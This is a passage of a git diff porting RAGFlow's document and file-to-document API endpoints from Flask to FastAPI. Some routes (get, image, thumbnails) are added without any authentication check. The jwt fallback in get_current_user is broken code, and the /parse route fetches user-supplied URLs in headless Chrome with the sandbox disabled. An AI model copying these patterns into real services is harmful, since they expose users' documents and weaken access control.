0)) + parser_id = request.args.get("parser_id") + orderby = request.args.get("orderby", "create_time") + if request.args.get("desc", "true").lower() == "false": + desc = False + else: + desc = True + + req = request.get_json() + owner_ids = req.get("owner_ids", []) + try: + if not owner_ids: + # tenants = TenantService.get_joined_tenants_by_user_id(current_user.id) + # tenants = [tenant["tenant_id"] for tenant in tenants] + tenants = [] # keep it here + dialogs, total = DialogService.get_by_tenant_ids( + tenants, current_user.id, page_number, + items_per_page, orderby, desc, keywords, parser_id) + else: + tenants = owner_ids + dialogs, total = DialogService.get_by_tenant_ids( + tenants, current_user.id, 0, + 0, orderby, desc, keywords, parser_id) + dialogs = [dialog for dialog in dialogs if dialog["tenant_id"] in tenants] + total = len(dialogs) + if page_number and items_per_page: + dialogs = dialogs[(page_number-1)*items_per_page:page_number*items_per_page] + return get_json_result(data={"dialogs": dialogs, "total": total}) + except Exception as e: + return server_error_response(e) + + +@manager.route('/rm', methods=['POST']) # noqa: F821 +@login_required +@validate_request("dialog_ids") +def rm(): + req = request.json + dialog_list=[] + tenants = UserTenantService.query(user_id=current_user.id) + try: + for id in req["dialog_ids"]: + for tenant in tenants: + if DialogService.query(tenant_id=tenant.tenant_id, id=id): + break + else: + return get_json_result( + data=False, message='Only owner of dialog authorized for this operation.', + code=settings.RetCode.OPERATING_ERROR) + dialog_list.append({"id": id,"status":StatusEnum.INVALID.value}) + DialogService.update_many_by_id(dialog_list) + return get_json_result(data=True) + except Exception as e: + return server_error_response(e) diff --git a/api/apps/document_app.py b/api/apps/document_app.py new file mode 100644 index 0000000..e314681 --- /dev/null +++ b/api/apps/document_app.py @@ -0,0 +1,873 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License +# +import json +import os.path +import pathlib +import re +import traceback +from pathlib import Path +from typing import List, Optional + +from fastapi import APIRouter, Depends, File, Form, HTTPException, UploadFile, Query +from fastapi.responses import StreamingResponse +from fastapi.security import HTTPBearer, HTTPAuthorizationCredentials + +from api import settings +from api.common.check_team_permission import check_kb_team_permission +from api.constants import FILE_NAME_LEN_LIMIT, IMG_BASE64_PREFIX +from api.db import VALID_FILE_TYPES, VALID_TASK_STATUS, FileSource, FileType, ParserType, TaskStatus +from api.db.db_models import File, Task +from api.db.services import duplicate_name +from api.db.services.document_service import DocumentService, doc_upload_and_parse +from api.db.services.file2document_service import File2DocumentService +from api.db.services.file_service import FileService +from api.db.services.knowledgebase_service import KnowledgebaseService +from api.db.services.task_service import TaskService, cancel_all_task_of, queue_tasks, queue_dataflow +from api.db.services.user_service import UserTenantService +from api.utils import get_uuid +from api.utils.api_utils import ( + get_data_error_result, + get_json_result, + server_error_response, + validate_request, +) +from api.utils.file_utils import filename_type, get_project_base_directory, thumbnail +from api.utils.web_utils import CONTENT_TYPE_MAP, html2pdf, is_valid_url +from deepdoc.parser.html_parser import RAGFlowHtmlParser +from rag.nlp import search +from rag.utils.storage_factory import STORAGE_IMPL +from pydantic import BaseModel +from api.db.db_models import User + +# Security +security = HTTPBearer() + +# Pydantic models for request/response +class WebCrawlRequest(BaseModel): + kb_id: str + name: str + url: str + +class CreateDocumentRequest(BaseModel): + name: str + kb_id: str + +class DocumentListRequest(BaseModel): + run_status: List[str] = [] + types: List[str] = [] + suffix: List[str] = [] + +class DocumentFilterRequest(BaseModel): + kb_id: str + keywords: str = "" + run_status: List[str] = [] + types: List[str] = [] + suffix: List[str] = [] + +class DocumentInfosRequest(BaseModel): + doc_ids: List[str] + +class ChangeStatusRequest(BaseModel): + doc_ids: List[str] + status: str + +class RemoveDocumentRequest(BaseModel): + doc_id: List[str] + +class RunDocumentRequest(BaseModel): + doc_ids: List[str] + run: str + delete: bool = False + +class RenameDocumentRequest(BaseModel): + doc_id: str + name: str + +class ChangeParserRequest(BaseModel): + doc_id: str + parser_id: str + pipeline_id: Optional[str] = None + parser_config: Optional[dict] = None + +class UploadAndParseRequest(BaseModel): + conversation_id: str + +class ParseRequest(BaseModel): + url: Optional[str] = None + +class SetMetaRequest(BaseModel): + doc_id: str + meta: str + + +# Dependency injection +async def get_current_user(credentials: HTTPAuthorizationCredentials = Depends(security)): + """获取当前用户""" + from api.db import StatusEnum + from api.db.services.user_service import UserService + from fastapi import HTTPException, status + import logging + + try: + from itsdangerous.url_safe import URLSafeTimedSerializer as Serializer + except ImportError: + # 如果没有itsdangerous，使用jwt作为替代 + import jwt + Serializer = jwt + + jwt = Serializer(secret_key=settings.SECRET_KEY) + authorization = credentials.credentials + + if authorization: + try: + access_token = str(jwt.loads(authorization)) + + if not access_token or not access_token.strip(): + raise HTTPException( + status_code=status.HTTP_401_UNAUTHORIZED, + detail="Authentication attempt with empty access token" + ) + + # Access tokens should be UUIDs (32 hex characters) + if len(access_token.strip()) < 32: + raise HTTPException( + status_code=status.HTTP_401_UNAUTHORIZED, + detail=f"Authentication attempt with invalid token format: {len(access_token)} chars" + ) + + user = UserService.query( + access_token=access_token, status=StatusEnum.VALID.value + ) + if user: + if not user[0].access_token or not user[0].access_token.strip(): + raise HTTPException( + status_code=status.HTTP_401_UNAUTHORIZED, + detail=f"User {user[0].email} has empty access_token in database" + ) + return user[0] + else: + raise HTTPException( + status_code=status.HTTP_401_UNAUTHORIZED, + detail="Invalid access token" + ) + except Exception as e: + logging.warning(f"load_user got exception {e}") + raise HTTPException( + status_code=status.HTTP_401_UNAUTHORIZED, + detail="Invalid access token" + ) + else: + raise HTTPException( + status_code=status.HTTP_401_UNAUTHORIZED, + detail="Authorization header required" + ) + +# Create router +router = APIRouter() + + +@router.post("/upload") +async def upload( + kb_id: str = Form(...), + files: List[UploadFile] = File(...), + current_user = Depends(get_current_user) +): + if not kb_id: + return get_json_result(data=False, message='Lack of "KB ID"', code=settings.RetCode.ARGUMENT_ERROR) + + if not files: + return get_json_result(data=False, message="No file part!", code=settings.RetCode.ARGUMENT_ERROR) + + # Use UploadFile directly + file_objs = files + + for file_obj in file_objs: + if file_obj.filename == "": + return get_json_result(data=False, message="No file selected!", code=settings.RetCode.ARGUMENT_ERROR) + if len(file_obj.filename.encode("utf-8")) > FILE_NAME_LEN_LIMIT: + return get_json_result(data=False, message=f"File name must be {FILE_NAME_LEN_LIMIT} bytes or less.", code=settings.RetCode.ARGUMENT_ERROR) + + e, kb = KnowledgebaseService.get_by_id(kb_id) + if not e: + raise LookupError("Can't find this knowledgebase!") + if not check_kb_team_permission(kb, current_user.id): + return get_json_result(data=False, message="No authorization.", code=settings.RetCode.AUTHENTICATION_ERROR) + + err, files = await FileService.upload_document(kb, file_objs, current_user.id) + if err: + return get_json_result(data=files, message="\n".join(err), code=settings.RetCode.SERVER_ERROR) + + if not files: + return get_json_result(data=files, message="There seems to be an issue with your file format. Please verify it is correct and not corrupted.", code=settings.RetCode.DATA_ERROR) + files = [f[0] for f in files] # remove the blob + + return get_json_result(data=files) + + +@router.post("/web_crawl") +async def web_crawl( + req: WebCrawlRequest, + current_user = Depends(get_current_user) +): + kb_id = req.kb_id + if not kb_id: + return get_json_result(data=False, message='Lack of "KB ID"', code=settings.RetCode.ARGUMENT_ERROR) + name = req.name + url = req.url + if not is_valid_url(url): + return get_json_result(data=False, message="The URL format is invalid", code=settings.RetCode.ARGUMENT_ERROR) + e, kb = KnowledgebaseService.get_by_id(kb_id) + if not e: + raise LookupError("Can't find this knowledgebase!") + if not check_kb_team_permission(kb, current_user.id): + return get_json_result(data=False, message="No authorization.", code=settings.RetCode.AUTHENTICATION_ERROR) + + blob = html2pdf(url) + if not blob: + return server_error_response(ValueError("Download failure.")) + + root_folder = FileService.get_root_folder(current_user.id) + pf_id = root_folder["id"] + FileService.init_knowledgebase_docs(pf_id, current_user.id) + kb_root_folder = FileService.get_kb_folder(current_user.id) + kb_folder = FileService.new_a_file_from_kb(kb.tenant_id, kb.name, kb_root_folder["id"]) + + try: + filename = duplicate_name(DocumentService.query, name=name + ".pdf", kb_id=kb.id) + filetype = filename_type(filename) + if filetype == FileType.OTHER.value: + raise RuntimeError("This type of file has not been supported yet!") + + location = filename + while STORAGE_IMPL.obj_exist(kb_id, location): + location += "_" + STORAGE_IMPL.put(kb_id, location, blob) + doc = { + "id": get_uuid(), + "kb_id": kb.id, + "parser_id": kb.parser_id, + "parser_config": kb.parser_config, + "created_by": current_user.id, + "type": filetype, + "name": filename, + "location": location, + "size": len(blob), + "thumbnail": thumbnail(filename, blob), + "suffix": Path(filename).suffix.lstrip("."), + } + if doc["type"] == FileType.VISUAL: + doc["parser_id"] = ParserType.PICTURE.value + if doc["type"] == FileType.AURAL: + doc["parser_id"] = ParserType.AUDIO.value + if re.search(r"\.(ppt|pptx|pages)$", filename): + doc["parser_id"] = ParserType.PRESENTATION.value + if re.search(r"\.(eml)$", filename): + doc["parser_id"] = ParserType.EMAIL.value + DocumentService.insert(doc) + FileService.add_file_from_kb(doc, kb_folder["id"], kb.tenant_id) + except Exception as e: + return server_error_response(e) + return get_json_result(data=True) + + +@router.post("/create") +async def create( + req: CreateDocumentRequest, + current_user = Depends(get_current_user) +): + kb_id = req.kb_id + if not kb_id: + return get_json_result(data=False, message='Lack of "KB ID"', code=settings.RetCode.ARGUMENT_ERROR) + if len(req.name.encode("utf-8")) > FILE_NAME_LEN_LIMIT: + return get_json_result(data=False, message=f"File name must be {FILE_NAME_LEN_LIMIT} bytes or less.", code=settings.RetCode.ARGUMENT_ERROR) + + if req.name.strip() == "": + return get_json_result(data=False, message="File name can't be empty.", code=settings.RetCode.ARGUMENT_ERROR) + req.name = req.name.strip() + + try: + e, kb = KnowledgebaseService.get_by_id(kb_id) + if not e: + return get_data_error_result(message="Can't find this knowledgebase!") + + if DocumentService.query(name=req.name, kb_id=kb_id): + return get_data_error_result(message="Duplicated document name in the same knowledgebase.") + + kb_root_folder = FileService.get_kb_folder(kb.tenant_id) + if not kb_root_folder: + return get_data_error_result(message="Cannot find the root folder.") + kb_folder = FileService.new_a_file_from_kb( + kb.tenant_id, + kb.name, + kb_root_folder["id"], + ) + if not kb_folder: + return get_data_error_result(message="Cannot find the kb folder for this file.") + + doc = DocumentService.insert( + { + "id": get_uuid(), + "kb_id": kb.id, + "parser_id": kb.parser_id, + "pipeline_id": kb.pipeline_id, + "parser_config": kb.parser_config, + "created_by": current_user.id, + "type": FileType.VIRTUAL, + "name": req.name, + "suffix": Path(req.name).suffix.lstrip("."), + "location": "", + "size": 0, + } + ) + + FileService.add_file_from_kb(doc.to_dict(), kb_folder["id"], kb.tenant_id) + + return get_json_result(data=doc.to_json()) + except Exception as e: + return server_error_response(e) + + +@router.post("/list") +async def list_docs( + kb_id: str = Query(...), + keywords: str = Query(""), + page: int = Query(0), + page_size: int = Query(0), + orderby: str = Query("create_time"), + desc: str = Query("true"), + create_time_from: int = Query(0), + create_time_to: int = Query(0), + req: DocumentListRequest = None, + current_user = Depends(get_current_user) +): + if not kb_id: + return get_json_result(data=False, message='Lack of "KB ID"', code=settings.RetCode.ARGUMENT_ERROR) + tenants = UserTenantService.query(user_id=current_user.id) + for tenant in tenants: + if KnowledgebaseService.query(tenant_id=tenant.tenant_id, id=kb_id): + break + else: + return get_json_result(data=False, message="Only owner of knowledgebase authorized for this operation.", code=settings.RetCode.OPERATING_ERROR) + + if desc.lower() == "false": + desc_bool = False + else: + desc_bool = True + + run_status = req.run_status if req else [] + if run_status: + invalid_status = {s for s in run_status if s not in VALID_TASK_STATUS} + if invalid_status: + return get_data_error_result(message=f"Invalid filter run status conditions: {', '.join(invalid_status)}") + + types = req.types if req else [] + if types: + invalid_types = {t for t in types if t not in VALID_FILE_TYPES} + if invalid_types: + return get_data_error_result(message=f"Invalid filter conditions: {', '.join(invalid_types)} type{'s' if len(invalid_types) > 1 else ''}") + + suffix = req.suffix if req else [] + + try: + docs, tol = DocumentService.get_by_kb_id(kb_id, page, page_size, orderby, desc_bool, keywords, run_status, types, suffix) + + if create_time_from or create_time_to: + filtered_docs = [] + for doc in docs: + doc_create_time = doc.get("create_time", 0) + if (create_time_from == 0 or doc_create_time >= create_time_from) and (create_time_to == 0 or doc_create_time <= create_time_to): + filtered_docs.append(doc) + docs = filtered_docs + + for doc_item in docs: + if doc_item["thumbnail"] and not doc_item["thumbnail"].startswith(IMG_BASE64_PREFIX): + doc_item["thumbnail"] = f"/v1/document/image/{kb_id}-{doc_item['thumbnail']}" + + return get_json_result(data={"total": tol, "docs": docs}) + except Exception as e: + return server_error_response(e) + + +@router.post("/filter") +async def get_filter( + req: DocumentFilterRequest, + current_user = Depends(get_current_user) +): + kb_id = req.kb_id + if not kb_id: + return get_json_result(data=False, message='Lack of "KB ID"', code=settings.RetCode.ARGUMENT_ERROR) + tenants = UserTenantService.query(user_id=current_user.id) + for tenant in tenants: + if KnowledgebaseService.query(tenant_id=tenant.tenant_id, id=kb_id): + break + else: + return get_json_result(data=False, message="Only owner of knowledgebase authorized for this operation.", code=settings.RetCode.OPERATING_ERROR) + + keywords = req.keywords + suffix = req.suffix + run_status = req.run_status + if run_status: + invalid_status = {s for s in run_status if s not in VALID_TASK_STATUS} + if invalid_status: + return get_data_error_result(message=f"Invalid filter run status conditions: {', '.join(invalid_status)}") + + types = req.types + if types: + invalid_types = {t for t in types if t not in VALID_FILE_TYPES} + if invalid_types: + return get_data_error_result(message=f"Invalid filter conditions: {', '.join(invalid_types)} type{'s' if len(invalid_types) > 1 else ''}") + + try: + filter, total = DocumentService.get_filter_by_kb_id(kb_id, keywords, run_status, types, suffix) + return get_json_result(data={"total": total, "filter": filter}) + except Exception as e: + return server_error_response(e) + + +@router.post("/infos") +async def docinfos( + req: DocumentInfosRequest, + current_user = Depends(get_current_user) +): + doc_ids = req.doc_ids + for doc_id in doc_ids: + if not DocumentService.accessible(doc_id, current_user.id): + return get_json_result(data=False, message="No authorization.", code=settings.RetCode.AUTHENTICATION_ERROR) + docs = DocumentService.get_by_ids(doc_ids) + return get_json_result(data=list(docs.dicts())) + + +@router.get("/thumbnails") +async def thumbnails( + doc_ids: List[str] = Query(...) +): + if not doc_ids: + return get_json_result(data=False, message='Lack of "Document ID"', code=settings.RetCode.ARGUMENT_ERROR) + + try: + docs = DocumentService.get_thumbnails(doc_ids) + + for doc_item in docs: + if doc_item["thumbnail"] and not doc_item["thumbnail"].startswith(IMG_BASE64_PREFIX): + doc_item["thumbnail"] = f"/v1/document/image/{doc_item['kb_id']}-{doc_item['thumbnail']}" + + return get_json_result(data={d["id"]: d["thumbnail"] for d in docs}) + except Exception as e: + return server_error_response(e) + + +@router.post("/change_status") +async def change_status( + req: ChangeStatusRequest, + current_user = Depends(get_current_user) +): + doc_ids = req.doc_ids + status = str(req.status) + + if status not in ["0", "1"]: + return get_json_result(data=False, message='"Status" must be either 0 or 1!', code=settings.RetCode.ARGUMENT_ERROR) + + result = {} + for doc_id in doc_ids: + if not DocumentService.accessible(doc_id, current_user.id): + result[doc_id] = {"error": "No authorization."} + continue + + try: + e, doc = DocumentService.get_by_id(doc_id) + if not e: + result[doc_id] = {"error": "No authorization."} + continue + e, kb = KnowledgebaseService.get_by_id(doc.kb_id) + if not e: + result[doc_id] = {"error": "Can't find this knowledgebase!"} + continue + if not DocumentService.update_by_id(doc_id, {"status": str(status)}): + result[doc_id] = {"error": "Database error (Document update)!"} + continue + + status_int = int(status) + if not settings.docStoreConn.update({"doc_id": doc_id}, {"available_int": status_int}, search.index_name(kb.tenant_id), doc.kb_id): + result[doc_id] = {"error": "Database error (docStore update)!"} + result[doc_id] = {"status": status} + except Exception as e: + result[doc_id] = {"error": f"Internal server error: {str(e)}"} + + return get_json_result(data=result) + + +@router.post("/rm") +async def rm( + req: RemoveDocumentRequest, + current_user = Depends(get_current_user) +): + doc_ids = req.doc_id + if isinstance(doc_ids, str): + doc_ids = [doc_ids] + + for doc_id in doc_ids: + if not DocumentService.accessible4deletion(doc_id, current_user.id): + return get_json_result(data=False, message="No authorization.", code=settings.RetCode.AUTHENTICATION_ERROR) + + root_folder = FileService.get_root_folder(current_user.id) + pf_id = root_folder["id"] + FileService.init_knowledgebase_docs(pf_id, current_user.id) + errors = "" + kb_table_num_map = {} + for doc_id in doc_ids: + try: + e, doc = DocumentService.get_by_id(doc_id) + if not e: + return get_data_error_result(message="Document not found!") + tenant_id = DocumentService.get_tenant_id(doc_id) + if not tenant_id: + return get_data_error_result(message="Tenant not found!") + + b, n = File2DocumentService.get_storage_address(doc_id=doc_id) + + TaskService.filter_delete([Task.doc_id == doc_id]) + if not DocumentService.remove_document(doc, tenant_id): + return get_data_error_result(message="Database error (Document removal)!") + + f2d = File2DocumentService.get_by_document_id(doc_id) + deleted_file_count = 0 + if f2d: + deleted_file_count = FileService.filter_delete([File.source_type == FileSource.KNOWLEDGEBASE, File.id == f2d[0].file_id]) + File2DocumentService.delete_by_document_id(doc_id) + if deleted_file_count > 0: + STORAGE_IMPL.rm(b, n) + + doc_parser = doc.parser_id + if doc_parser == ParserType.TABLE: + kb_id = doc.kb_id + if kb_id not in kb_table_num_map: + counts = DocumentService.count_by_kb_id(kb_id=kb_id, keywords="", run_status=[TaskStatus.DONE], types=[]) + kb_table_num_map[kb_id] = counts + kb_table_num_map[kb_id] -= 1 + if kb_table_num_map[kb_id] <= 0: + KnowledgebaseService.delete_field_map(kb_id) + except Exception as e: + errors += str(e) + + if errors: + return get_json_result(data=False, message=errors, code=settings.RetCode.SERVER_ERROR) + + return get_json_result(data=True) + + +@router.post("/run") +async def run( + req: RunDocumentRequest, + current_user = Depends(get_current_user) +): + for doc_id in req.doc_ids: + if not DocumentService.accessible(doc_id, current_user.id): + return get_json_result(data=False, message="No authorization.", code=settings.RetCode.AUTHENTICATION_ERROR) + try: + kb_table_num_map = {} + for id in req.doc_ids: + info = {"run": str(req.run), "progress": 0} + if str(req.run) == TaskStatus.RUNNING.value and req.delete: + info["progress_msg"] = "" + info["chunk_num"] = 0 + info["token_num"] = 0 + + tenant_id = DocumentService.get_tenant_id(id) + if not tenant_id: + return get_data_error_result(message="Tenant not found!") + e, doc = DocumentService.get_by_id(id) + if not e: + return get_data_error_result(message="Document not found!") + + if str(req.run) == TaskStatus.CANCEL.value: + if str(doc.run) == TaskStatus.RUNNING.value: + cancel_all_task_of(id) + else: + return get_data_error_result(message="Cannot cancel a task that is not in RUNNING status") + if all([req.delete, str(req.run) == TaskStatus.RUNNING.value, str(doc.run) == TaskStatus.DONE.value]): + DocumentService.clear_chunk_num_when_rerun(doc.id) + + DocumentService.update_by_id(id, info) + if req.delete: + TaskService.filter_delete([Task.doc_id == id]) + if settings.docStoreConn.indexExist(search.index_name(tenant_id), doc.kb_id): + settings.docStoreConn.delete({"doc_id": id}, search.index_name(tenant_id), doc.kb_id) + + if str(req.run) == TaskStatus.RUNNING.value: + doc = doc.to_dict() + doc["tenant_id"] = tenant_id + + doc_parser = doc.get("parser_id", ParserType.NAIVE) + if doc_parser == ParserType.TABLE: + kb_id = doc.get("kb_id") + if not kb_id: + continue + if kb_id not in kb_table_num_map: + count = DocumentService.count_by_kb_id(kb_id=kb_id, keywords="", run_status=[TaskStatus.DONE], types=[]) + kb_table_num_map[kb_id] = count + if kb_table_num_map[kb_id] <= 0: + KnowledgebaseService.delete_field_map(kb_id) + if doc.get("pipeline_id", ""): + queue_dataflow(tenant_id, flow_id=doc["pipeline_id"], task_id=get_uuid(), doc_id=id) + else: + bucket, name = File2DocumentService.get_storage_address(doc_id=doc["id"]) + queue_tasks(doc, bucket, name, 0) + + return get_json_result(data=True) + except Exception as e: + traceback.print_exc() + return server_error_response(e) + + +@router.post("/rename") +async def rename( + req: RenameDocumentRequest, + current_user = Depends(get_current_user) +): + if not DocumentService.accessible(req.doc_id, current_user.id): + return get_json_result(data=False, message="No authorization.", code=settings.RetCode.AUTHENTICATION_ERROR) + try: + e, doc = DocumentService.get_by_id(req.doc_id) + if not e: + return get_data_error_result(message="Document not found!") + if pathlib.Path(req.name.lower()).suffix != pathlib.Path(doc.name.lower()).suffix: + return get_json_result(data=False, message="The extension of file can't be changed", code=settings.RetCode.ARGUMENT_ERROR) + if len(req.name.encode("utf-8")) > FILE_NAME_LEN_LIMIT: + return get_json_result(data=False, message=f"File name must be {FILE_NAME_LEN_LIMIT} bytes or less.", code=settings.RetCode.ARGUMENT_ERROR) + + for d in DocumentService.query(name=req.name, kb_id=doc.kb_id): + if d.name == req.name: + return get_data_error_result(message="Duplicated document name in the same knowledgebase.") + + if not DocumentService.update_by_id(req.doc_id, {"name": req.name}): + return get_data_error_result(message="Database error (Document rename)!") + + informs = File2DocumentService.get_by_document_id(req.doc_id) + if informs: + e, file = FileService.get_by_id(informs[0].file_id) + FileService.update_by_id(file.id, {"name": req.name}) + + return get_json_result(data=True) + except Exception as e: + return server_error_response(e) + + +@router.get("/get/{doc_id}") +async def get(doc_id: str): + try: + e, doc = DocumentService.get_by_id(doc_id) + if not e: + return get_data_error_result(message="Document not found!") + + b, n = File2DocumentService.get_storage_address(doc_id=doc_id) + content = STORAGE_IMPL.get(b, n) + + ext = re.search(r"\.([^.]+)$", doc.name.lower()) + ext = ext.group(1) if ext else None + + if ext: + if doc.type == FileType.VISUAL.value: + media_type = CONTENT_TYPE_MAP.get(ext, f"image/{ext}") + else: + media_type = CONTENT_TYPE_MAP.get(ext, f"application/{ext}") + else: + media_type = "application/octet-stream" + + return StreamingResponse( + iter([content]), + media_type=media_type, + headers={"Content-Disposition": f"attachment; filename={doc.name}"} + ) + except Exception as e: + return server_error_response(e) + + +@router.post("/change_parser") +async def change_parser( + req: ChangeParserRequest, + current_user = Depends(get_current_user) +): + if not DocumentService.accessible(req.doc_id, current_user.id): + return get_json_result(data=False, message="No authorization.", code=settings.RetCode.AUTHENTICATION_ERROR) + + e, doc = DocumentService.get_by_id(req.doc_id) + if not e: + return get_data_error_result(message="Document not found!") + + def reset_doc(): + nonlocal doc + e = DocumentService.update_by_id(doc.id, {"parser_id": req.parser_id, "progress": 0, "progress_msg": "", "run": TaskStatus.UNSTART.value}) + if not e: + return get_data_error_result(message="Document not found!") + if doc.token_num > 0: + e = DocumentService.increment_chunk_num(doc.id, doc.kb_id, doc.token_num * -1, doc.chunk_num * -1, doc.process_duration * -1) + if not e: + return get_data_error_result(message="Document not found!") + tenant_id = DocumentService.get_tenant_id(req.doc_id) + if not tenant_id: + return get_data_error_result(message="Tenant not found!") + if settings.docStoreConn.indexExist(search.index_name(tenant_id), doc.kb_id): + settings.docStoreConn.delete({"doc_id": doc.id}, search.index_name(tenant_id), doc.kb_id) + + try: + if req.pipeline_id: + if doc.pipeline_id == req.pipeline_id: + return get_json_result(data=True) + DocumentService.update_by_id(doc.id, {"pipeline_id": req.pipeline_id}) + reset_doc() + return get_json_result(data=True) + + if doc.parser_id.lower() == req.parser_id.lower(): + if req.parser_config: + if req.parser_config == doc.parser_config: + return get_json_result(data=True) + else: + return get_json_result(data=True) + + if (doc.type == FileType.VISUAL and req.parser_id != "picture") or (re.search(r"\.(ppt|pptx|pages)$", doc.name) and req.parser_id != "presentation"): + return get_data_error_result(message="Not supported yet!") + if req.parser_config: + DocumentService.update_parser_config(doc.id, req.parser_config) + reset_doc() + return get_json_result(data=True) + except Exception as e: + return server_error_response(e) + + +@router.get("/image/{image_id}") +async def get_image(image_id: str): + try: + arr = image_id.split("-") + if len(arr) != 2: + return get_data_error_result(message="Image not found.") + bkt, nm = image_id.split("-") + content = STORAGE_IMPL.get(bkt, nm) + return StreamingResponse( + iter([content]), + media_type="image/JPEG" + ) + except Exception as e: + return server_error_response(e) + + +@router.post("/upload_and_parse") +async def upload_and_parse( + conversation_id: str = Form(...), + files: List[UploadFile] = File(...), + current_user = Depends(get_current_user) +): + if not files: + return get_json_result(data=False, message="No file part!", code=settings.RetCode.ARGUMENT_ERROR) + + # Use UploadFile directly + file_objs = files + + for file_obj in file_objs: + if file_obj.filename == "": + return get_json_result(data=False, message="No file selected!", code=settings.RetCode.ARGUMENT_ERROR) + + doc_ids = await doc_upload_and_parse(conversation_id, file_objs, current_user.id) + + return get_json_result(data=doc_ids) + + +@router.post("/parse") +async def parse( + req: ParseRequest = None, + files: List[UploadFile] = File(None), + current_user = Depends(get_current_user) +): + url = req.url if req else "" + if url: + if not is_valid_url(url): + return get_json_result(data=False, message="The URL format is invalid", code=settings.RetCode.ARGUMENT_ERROR) + download_path = os.path.join(get_project_base_directory(), "logs/downloads") + os.makedirs(download_path, exist_ok=True) + from seleniumwire.webdriver import Chrome, ChromeOptions + + options = ChromeOptions() + options.add_argument("--headless") + options.add_argument("--disable-gpu") + options.add_argument("--no-sandbox") + options.add_argument("--disable-dev-shm-usage") + options.add_experimental_option("prefs", {"download.default_directory": download_path, "download.prompt_for_download": False, "download.directory_upgrade": True, "safebrowsing.enabled": True}) + driver = Chrome(options=options) + driver.get(url) + res_headers = [r.response.headers for r in driver.requests if r and r.response] + if len(res_headers) > 1: + sections = RAGFlowHtmlParser().parser_txt(driver.page_source) + driver.quit() + return get_json_result(data="\n".join(sections)) + + class File: + filename: str + filepath: str + + def __init__(self, filename, filepath): + self.filename = filename + self.filepath = filepath + + def read(self): + with open(self.filepath, "rb") as f: + return f.read() + + r = re.search(r"filename=\"([^\"]+)\"", str(res_headers)) + if not r or not r.group(1): + return get_json_result(data=False, message="Can't not identify downloaded file", code=settings.RetCode.ARGUMENT_ERROR) + f = File(r.group(1), os.path.join(download_path, r.group(1))) + txt = await FileService.parse_docs([f], current_user.id) + return get_json_result(data=txt) + + if not files: + return get_json_result(data=False, message="No file part!", code=settings.RetCode.ARGUMENT_ERROR) + + # Use UploadFile directly + file_objs = files + txt = await FileService.parse_docs(file_objs, current_user.id) + + return get_json_result(data=txt) + + +@router.post("/set_meta") +async def set_meta( + req: SetMetaRequest, + current_user = Depends(get_current_user) +): + if not DocumentService.accessible(req.doc_id, current_user.id): + return get_json_result(data=False, message="No authorization.", code=settings.RetCode.AUTHENTICATION_ERROR) + try: + meta = json.loads(req.meta) + if not isinstance(meta, dict): + return get_json_result(data=False, message="Only dictionary type supported.", code=settings.RetCode.ARGUMENT_ERROR) + for k, v in meta.items(): + if not isinstance(v, str) and not isinstance(v, int) and not isinstance(v, float): + return get_json_result(data=False, message=f"The type is not supported: {v}", code=settings.RetCode.ARGUMENT_ERROR) + except Exception as e: + return get_json_result(data=False, message=f"Json syntax error: {e}", code=settings.RetCode.ARGUMENT_ERROR) + if not isinstance(meta, dict): + return get_json_result(data=False, message='Meta data should be in Json map format, like {"key": "value"}', code=settings.RetCode.ARGUMENT_ERROR) + + try: + e, doc = DocumentService.get_by_id(req.doc_id) + if not e: + return get_data_error_result(message="Document not found!") + + if not DocumentService.update_by_id(req.doc_id, {"meta_fields": meta}): + return get_data_error_result(message="Database error (meta updates)!") + + return get_json_result(data=True) + except Exception as e: + return server_error_response(e) diff --git a/api/apps/file2document_app.py b/api/apps/file2document_app.py new file mode 100644 index 0000000..005e815 --- /dev/null +++ b/api/apps/file2document_app.py @@ -0,0 +1,212 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License +# + +from pathlib import Path +from typing import List + +from fastapi import APIRouter, Depends +from fastapi.security import HTTPBearer, HTTPAuthorizationCredentials + +from api.db.services.file2document_service import File2DocumentService +from api.db.services.file_service import FileService + +from api.db.services.knowledgebase_service import KnowledgebaseService +from api.utils.api_utils import server_error_response, get_data_error_result, validate_request +from api.utils import get_uuid +from api.db import FileType +from api.db.services.document_service import DocumentService +from api import settings +from api.utils.api_utils import get_json_result +from pydantic import BaseModel + +# Security +security = HTTPBearer() + +# Pydantic models for request/response +class ConvertRequest(BaseModel): + file_ids: List[str] + kb_ids: List[str] + +class RemoveFile2DocumentRequest(BaseModel): + file_ids: List[str] + +# Dependency injection +async def get_current_user(credentials: HTTPAuthorizationCredentials = Depends(security)): + """获取当前用户""" + from api.db import StatusEnum + from api.db.services.user_service import UserService + from fastapi import HTTPException, status + import logging + + try: + from itsdangerous.url_safe import URLSafeTimedSerializer as Serializer + except ImportError: + # 如果没有itsdangerous，使用jwt作为替代 + import jwt + Serializer = jwt + + jwt = Serializer(secret_key=settings.SECRET_KEY) + authorization = credentials.credentials + + if authorization: + try: + access_token = str(jwt.loads(authorization)) + + if not access_token or not access_token.strip(): + raise HTTPException( + status_code=status.HTTP_401_UNAUTHORIZED, + detail="Authentication attempt with empty access token" + ) + + # Access tokens should be UUIDs (32 hex characters) + if len(access_token.strip()) < 32: + raise HTTPException( + status_code=status.HTTP_401_UNAUTHORIZED, + detail=f"Authentication attempt with invalid token format: {len(access_token)} chars" + ) + + user = UserService.query( + access_token=access_token, status=StatusEnum.VALID.value + ) + if user: + if not user[0].access_token or not user[0].access_token.strip(): + raise HTTPException( + status_code=status.HTTP_401_UNAUTHORIZED, + detail=f"User {user[0].email} has empty access_token in database" + ) + return user[0] + else: + raise HTTPException( + status_code=status.HTTP_401_UNAUTHORIZED, + detail="Invalid access token" + ) + except Exception as e: + logging.warning(f"load_user got exception {e}") + raise HTTPException( + status_code=status.HTTP_401_UNAUTHORIZED, + detail="Invalid 